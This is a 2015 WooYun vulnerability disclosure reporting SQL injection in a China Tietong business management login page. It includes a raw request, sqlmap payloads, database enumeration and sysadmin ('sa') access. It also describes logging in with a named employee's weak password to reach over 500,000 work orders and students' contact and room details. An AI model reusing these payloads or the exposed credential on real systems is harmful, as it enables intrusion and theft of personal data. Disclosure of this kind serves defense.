当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148196

漏洞标题：中国铁通移动业务管理系统SQL注入/SA权限/泄露50WEOMS工单信息/学校名称/楼号/房间号

相关厂商：中国铁通

漏洞作者： 路人甲

提交时间：2015-10-20 22:15

修复时间：2015-12-07 11:44

公开时间：2015-12-07 11:44

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-20： 细节已通知厂商并且等待厂商处理中
2015-10-23： 厂商已经确认，细节仅向厂商公开
2015-11-02： 细节向核心白帽子及相关领域专家公开
2015-11-12： 细节向普通白帽子公开
2015-11-22： 细节向实习白帽子公开
2015-12-07： 细节向公众公开

简要描述：

中国铁通移动业务管理系统SQL注入/SA权限/泄露50WEOMS工单信息/学校名称/楼号/房间号
妹子姓名 账号 联系电话 学校名称 楼号 房间号

详细说明：

**.**.**.**:8080/index.htm


POST /loginyanzheng.aspx HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: **.**.**.**:8080/login.aspx
Cookie: ASP.NET_SessionId=omtj32nphwjmwkjkwaxh2evq
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
u=admin*&p=admin


1.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: u=admin' AND 4945=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (4945=4945) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(106)+CHAR(113))) AND 'slPQ'='slPQ&p=admin
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)
    Payload: u=admin' OR 8107=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)--&p=admin
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: u=admin' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)+CHAR(66)+CHAR(88)+CHAR(112)+CHAR(99)+CHAR(87)+CHAR(71)+CHAR(85)+CHAR(102)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &p=admin
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
current database:    'OA_DB'


2.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: u=admin' AND 4945=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (4945=4945) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(106)+CHAR(113))) AND 'slPQ'='slPQ&p=admin
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)
Payload: u=admin' OR 8107=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)--&p=admin
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: u=admin' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)+CHAR(66)+CHAR(88)+CHAR(112)+CHAR(99)+CHAR(87)+CHAR(71)+CHAR(85)+CHAR(102)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &p=admin
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
available databases [15]:
[*] exam
[*] JiaKeYuJing
[*] JNTT_ZK
[*] master
[*] model
[*] msdb
[*] OA_DB
[*] qqgua8
[*] ReportServer
[*] ReportServerTempDB
[*] SeedTuiSong
[*] task6899
[*] tempdb
[*] wy_zhangwu
[*] ziguan

3.jpg


current user:    'sa'


4.jpg


sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: u=admin' AND 4945=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)+(SELECT (CASE WHEN (4945=4945) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(106)+CHAR(113))) AND 'slPQ'='slPQ&p=admin
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)
    Payload: u=admin' OR 8107=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)--&p=admin
    Type: UNION query
    Title: Generic UNION query (NULL) - 11 columns
    Payload: u=admin' UNION ALL SELECT CHAR(113)+CHAR(113)+CHAR(122)+CHAR(112)+CHAR(113)+CHAR(66)+CHAR(88)+CHAR(112)+CHAR(99)+CHAR(87)+CHAR(71)+CHAR(85)+CHAR(102)+CHAR(107)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(106)+CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &p=admin
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
Database: OA_DB
[81 tables]
+--------------------------------------------+
| AspNet_SqlCacheTablesForChangeNotification |
| EOMS_AutoEOMS_处理                             |
| EOMS_AutoEOMS_处理                             |
| EOMS_user_yd                               |
| EOMS_user_yd                               |
| EOMS_user_zy                               |
| EOMS_回单口径                                      |
| EOMS_处理规则                                      |
| EOMS_强制自动回单                                      |
| EOMS_报表                                      |
| EOMS_统计进度条                                      |
| EOMS_邮件排除工单                                      |
| EOMS工单                                       |
| TSnode                                     |
| UpData                                     |
| View_1                                     |
| View_2                                     |
| WLANnode                                   |
| addresslist                                |
| assetmanage                                |
| attendance                                 |
| bbs                                        |
| bbsrevert                                  |
| department                                 |
| document                                   |
| employee                                   |
| examine                                    |
| filerevert                                 |
| files                                      |
| filetype                                   |
| groups                                     |
| learn                                      |
| md56899                                    |
| message                                    |
| name6899                                   |
| nation                                     |
| native                                     |
| news                                       |
| operate                                    |
| popedom                                    |
| province                                   |
| sendword                                   |
| sumuptype                                  |
| sysdiagrams                                |
| timeorder                                  |
| users                                      |
| visage                                     |
| worklog                                    |
| worksumup                                  |
| xyw_故障                                       |
| xyw_故障类型                                       |
| xyw_日常维护记录                                       |
| xyw_高校名称                                       |
| xyw对外申报_故障现象                                       |
| xyw对外申报_故障类型                                       |
| xyw对外申报_校园网故障                                       |
| xyw对外申报_验证码                                       |
| 专线验收                                       |
| 代维综合工单_工单类型                                          |
| 代维综合工单_工单类型                                          |
| 代维综合工单_故障原因分类                                          |
| 代维综合工单_故障类型                                          |
| 代维综合工单_网格对应                                          |
| 代维综合工单_网络类型                                          |
| 停电记录                                       |
| 区县                                         |
| 小羽毛_工单                                          |
| 排障助手工单使用次数                                 |
| 排障小助手使用次数                                  |
| 数据库同步                                      |
| 物资_坏件                                          |
| 物资_库存                                          |
| 电费_后付费                                          |
| 电费_基础信息                                          |
| 电费_预付费                                          |
| 短信平台                                       |
| 遗漏告警                                       |
| 遗留故障跟踪_故障                                          |
| 遗留故障跟踪_督办人                                          |
| 集客台账                                       |
| 集客巡检                                       |
+--------------------------------------------+


5.jpg


随便找个账号登录进去| 李盈才        | 111111


在右侧可以看到有基站故障信息.


6.jpg


50多万工单信息 第 1 - 20 条  共 515140 条


涉及整个省份地区的公司


7.jpg


24小时工单处理信息


8.jpg


10.jpg


11.jpg


代维综合工单 故障处理信息


12.jpg


学校网 校园名称	楼号	房号	其他地址	姓名	帐号	联系电话


13.jpg


14.jpg


漏洞证明：

修复方案：

参数过滤

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-23 11:42

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向中国移动集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无